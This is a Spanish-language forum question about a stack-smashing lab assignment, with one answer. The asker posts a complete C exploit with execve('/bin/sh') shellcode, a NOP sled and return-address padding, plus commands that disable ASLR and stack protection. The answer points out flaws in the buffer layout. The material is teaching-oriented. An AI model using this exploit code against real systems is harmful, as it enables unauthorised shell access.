Destrucción de pila sigue recibiendo errores de segmentación

3

Tengo una tarea para hacer aplastar pila,

El código de explotación crea un archivo defectuoso en el que el archivo vulnerable se lee y se produce un búfer sobre el flujo.

Ya hice los 2 comandos a continuación para asegurar que puedo completar el ataque

sudo sysctl -w kernel.randomize_va_space = 0

gcc -o stack -fno-stack-protector stack.c (donde stack.c es el código vulnerable)

También deshabilité la pila no ejecutable

Para el exploit, tengo el código de shell, así que lo que hice fue obtener el puntero de la pila, por lo tanto, la dirección de retorno y colocarlos en un búfer en el código del exploit. El búfer se llena con NOP hasta la mitad del búfer, luego el código de shell. El resto del búfer se llena con las direcciones de retorno.

por lo que mi código es el siguiente

  /* exploit.c
*/
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0"    /* xorl %eax,%eax*/
"\x50"          /* pushl %eax*/
"\x68""//sh"    /* pushl $0x68732f2f*/
"\x68""/bin"    /* pushl $0x6e69622f*/
"\x89\xe3"    /* movl %esp,%ebx*/
"\x50"        /* pushl %eax*/
"\x53"        /* pushl %ebx*/
"\x89\xe1"    /* movl %esp,%ecx*/
"\x99"        /* cdql*/
"\xb0\x0b"    /* movb $0x0b,%al*/
"\xcd\x80"    /* int $0x80*/
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
long *addr_ptr,retaddr;
char *ptr;
char *aptr;

unsigned long get_sp(void)
{    
    __asm__("movl %esp,%eax");
}

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

retaddr = get_sp() - atoi(argv[1]);
printf("Stack Pointer: 0x%lx\n", get_sp());
printf("Using address: 0x%lx\n", retaddr);

//int i;
memcpy(buffer+(sizeof(buffer)-1)/2,shellcode,strlen(shellcode));

int i;
for(i=0;i<(sizeof(buffer)-1)/2;i+=4)    
    *(long *)&buffer[i] = retaddr;

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
 }

Entonces, para la compensación, ingresaré números aleatorios para probar la compensación, para llegar a la dirección correcta. Sin embargo sigo teniendo fallas de segmentación después de iterar muchas veces. No tengo idea de lo que está pasando. ¿Alguien puede ayudar?

    
pregunta edelweiss 07.10.2012 - 08:47
fuente

1 respuesta

3

La utilización de tu memcpy necesita una revisión. Por favor, sigue:

Tu publicación original: memcpy(buffer+(sizeof(buffer)-1)/2,shellcode,strlen(shellcode));

Para empezar, usas buffer sin referirte a él como un puntero - & buffer en realidad, hay algunos compiladores que pueden manejarlo, así que no es necesariamente lo que te impide explotar la pila.

Ahora, intenta medir el búfer, disminuyendo en uno y luego córtalo a la mitad; te da 258 de desplazamiento. Tu trineo NOP ahora se ve algo como esto:

  

NOP, NOP, NOP X 517 --- 258 bytes no especificados - shellcode

eso no tiene mucho sentido. ¿Por qué dejar esos bytes no especificados dentro de tu sled NOP?

Por último, realiza una iteración sobre i que cubre la mitad de su trineo NOP con su conjetura de la dirección de retorno.

¿Puedes ver tus errores ahora?

    
respondido por el dalimama 24.10.2012 - 01:22
fuente

Lea otras preguntas en las etiquetas